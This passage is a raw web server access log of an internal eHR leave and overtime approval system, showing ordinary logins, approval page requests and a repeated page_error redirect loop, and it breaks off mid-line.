"http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:05 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4641 192.168.40.45 - - [02/Dec/2025:13:04:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.40.45 - - [02/Dec/2025:13:04:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 77085 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 77085 192.168.40.45 - - [02/Dec/2025:13:04:16 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:16 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132694%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132694&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132694%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132694&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:04:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:04:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [02/Dec/2025:13:05:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [02/Dec/2025:13:05:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.153 - - [02/Dec/2025:13:07:08 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:08 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 100.64.0.1 - - [02/Dec/2025:13:07:09 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9CAB9D6774A20C623120EFCBB54BFCCD255E28C52FDC91760F76D23C15C053A48042DA80A13CEC585F84513BE85DCFBC13 HTTP/1.1" 200 - 100.64.0.1 - - [02/Dec/2025:13:07:09 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9CAB9D6774A20C623120EFCBB54BFCCD255E28C52FDC91760F76D23C15C053A48042DA80A13CEC585F84513BE85DCFBC13 HTTP/1.1" 200 - "-" "-" 172.21.0.176 - - [02/Dec/2025:13:07:11 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9CAB9D6774A20C623120EFCBB54BFCCD255E28C52FDC91760F76D23C15C053A48042DA80A13CEC585F84513BE85DCFBC13 HTTP/1.1" 200 4205 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.21.0.176 - - [02/Dec/2025:13:07:11 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9CAB9D6774A20C623120EFCBB54BFCCD255E28C52FDC91760F76D23C15C053A48042DA80A13CEC585F84513BE85DCFBC13 HTTP/1.1" 200 4205 172.21.0.176 - - [02/Dec/2025:13:07:12 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9CAB9D6774A20C623120EFCBB54BFCCD255E28C52FDC91760F76D23C15C053A48042DA80A13CEC585F84513BE85DCFBC13" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.21.0.176 - - [02/Dec/2025:13:07:12 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 172.21.0.176 - - [02/Dec/2025:13:07:12 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87693E28D2EF965A9CAB9D6774A20C623120EFCBB54BFCCD255E28C52FDC91760F76D23C15C053A48042DA80A13CEC585F84513BE85DCFBC13" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 172.21.0.176 - - [02/Dec/2025:13:07:12 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 192.168.11.153 - - [02/Dec/2025:13:07:12 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:12 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.153 - - [02/Dec/2025:13:07:12 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.153 - - [02/Dec/2025:13:07:12 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 192.168.11.153 - - [02/Dec/2025:13:07:14 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 